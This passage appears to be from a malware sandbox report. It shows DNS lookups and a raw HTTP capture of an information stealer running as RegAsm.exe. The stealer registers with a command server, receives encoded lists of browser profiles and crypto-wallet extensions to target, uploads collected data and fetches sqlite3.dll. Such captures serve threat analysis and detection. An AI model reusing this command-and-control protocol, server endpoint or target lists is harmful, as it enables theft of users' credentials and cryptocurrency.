Sep 26, 2024 19:05:38.030638933 CEST	1.1.1.1	192.168.2.4	0x6981	No error (0)	reinforcenh.shop	172.67.208.139	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:38.030638933 CEST	1.1.1.1	192.168.2.4	0x6981	No error (0)	reinforcenh.shop	104.21.77.130	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:38.989480972 CEST	1.1.1.1	192.168.2.4	0x4dbb	No error (0)	steamcommunity.com	104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:40.457190037 CEST	1.1.1.1	192.168.2.4	0xe1ef	No error (0)	ballotnwu.site	104.21.2.13	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:05:40.457190037 CEST	1.1.1.1	192.168.2.4	0xe1ef	No error (0)	ballotnwu.site	172.67.128.144	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:06:36.487823963 CEST	1.1.1.1	192.168.2.4	0xbe9b	No error (0)	cowod.hopto.org	45.132.206.251	A (IP address)	IN (0x0001)	false
Sep 26, 2024 19:06:45.191041946 CEST	1.1.1.1	192.168.2.4	0x824e	No error (0)	steamcommunity.com	104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dbsmena.com

ghostreedmnu.shop

gutterydhowi.shop

offensivedzvju.shop

vozmeatillu.shop

drawzhotdog.shop

fragnantbui.shop

stogeneratmns.shop

reinforcenh.shop

steamcommunity.com

ballotnwu.site

5.75.211.162

46.8.231.109

cowod.hopto.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	46.8.231.109	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 19:05:08.475912094 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Sep 26, 2024 19:05:09.171648026 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:09.175467014 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBA Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 45 41 45 37 30 46 31 44 38 30 41 31 36 33 33 30 34 37 39 38 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="hwid"9EAE70F1D80A1633047986------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="build"default------CGDGCFBAEGDHJKEBGCBA--
Sep 26, 2024 19:05:09.401009083 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 41 77 5a 47 55 34 59 32 4d 78 5a 57 55 77 59 54 49 35 59 57 4d 34 5a 44 45 7a 5a 6a 6b 35 4e 32 51 34 4f 57 59 31 59 54 6b 7a 4e 54 67 7a 4d 6a 5a 6a 4e 6d 49 32 59 7a 4a 6b 5a 47 4d 32 4f 44 6c 6c 4d 54 45 31 4f 44 49 34 4e 57 49 34 59 6d 4a 6d 4f 54 6b 77 59 7a 63 78 4e 6a 41 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjAwZGU4Y2MxZWUwYTI5YWM4ZDEzZjk5N2Q4OWY1YTkzNTgzMjZjNmI2YzJkZGM2ODllMTE1ODI4NWI4YmJmOTkwYzcxNjA0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 26, 2024 19:05:09.416335106 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCBAEHJJJKKFIDGHJEC Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 47 48 4a 45 43 2d 2d 0d 0a Data Ascii: ------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------DHCBAEHJJJKKFIDGHJECContent-Disposition: form-data; name="message"browsers------DHCBAEHJJJKKFIDGHJEC--
Sep 26, 2024 19:05:09.600316048 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 26, 2024 19:05:09.600451946 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 26, 2024 19:05:09.602312088 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHD Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="message"plugins------BGCAAFHIEBKJKEBFIEHD--
Sep 26, 2024 19:05:09.797771931 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 26, 2024 19:05:09.797787905 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Sep 26, 2024 19:05:09.797800064 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Sep 26, 2024 19:05:09.798996925 CEST	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Sep 26, 2024 19:05:09.799007893 CEST	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Sep 26, 2024 19:05:09.799020052 CEST	672	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Sep 26, 2024 19:05:09.799031973 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 26, 2024 19:05:09.799457073 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Sep 26, 2024 19:05:09.801135063 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFBKFIDHIDGHJKFBGHC Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 63 63 31 65 65 30 61 32 39 61 63 38 64 31 33 66 39 39 37 64 38 39 66 35 61 39 33 35 38 33 32 36 63 36 62 36 63 32 64 64 63 36 38 39 65 31 31 35 38 32 38 35 62 38 62 62 66 39 39 30 63 37 31 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 42 4b 46 49 44 48 49 44 47 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------CBFBKFIDHIDGHJKFBGHCContent-Disposition: form-data; name="message"fplugins------CBFBKFIDHIDGHJKFBGHC--
Sep 26, 2024 19:05:09.983465910 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 26, 2024 19:05:09.999804020 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJE Host: 46.8.231.109 Content-Length: 6299 Connection: Keep-Alive Cache-Control: no-cache
Sep 26, 2024 19:05:09.999804020 CEST	6299	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 30 64 65 38 Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="token"600de8cc1ee0a29ac8d13f997d89f5a9358326c6b6c2ddc689e1158285b8bbf990c71604------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 26, 2024 19:05:10.246885061 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 26, 2024 19:05:10.247751951 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 26, 2024 19:05:10.425964117 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 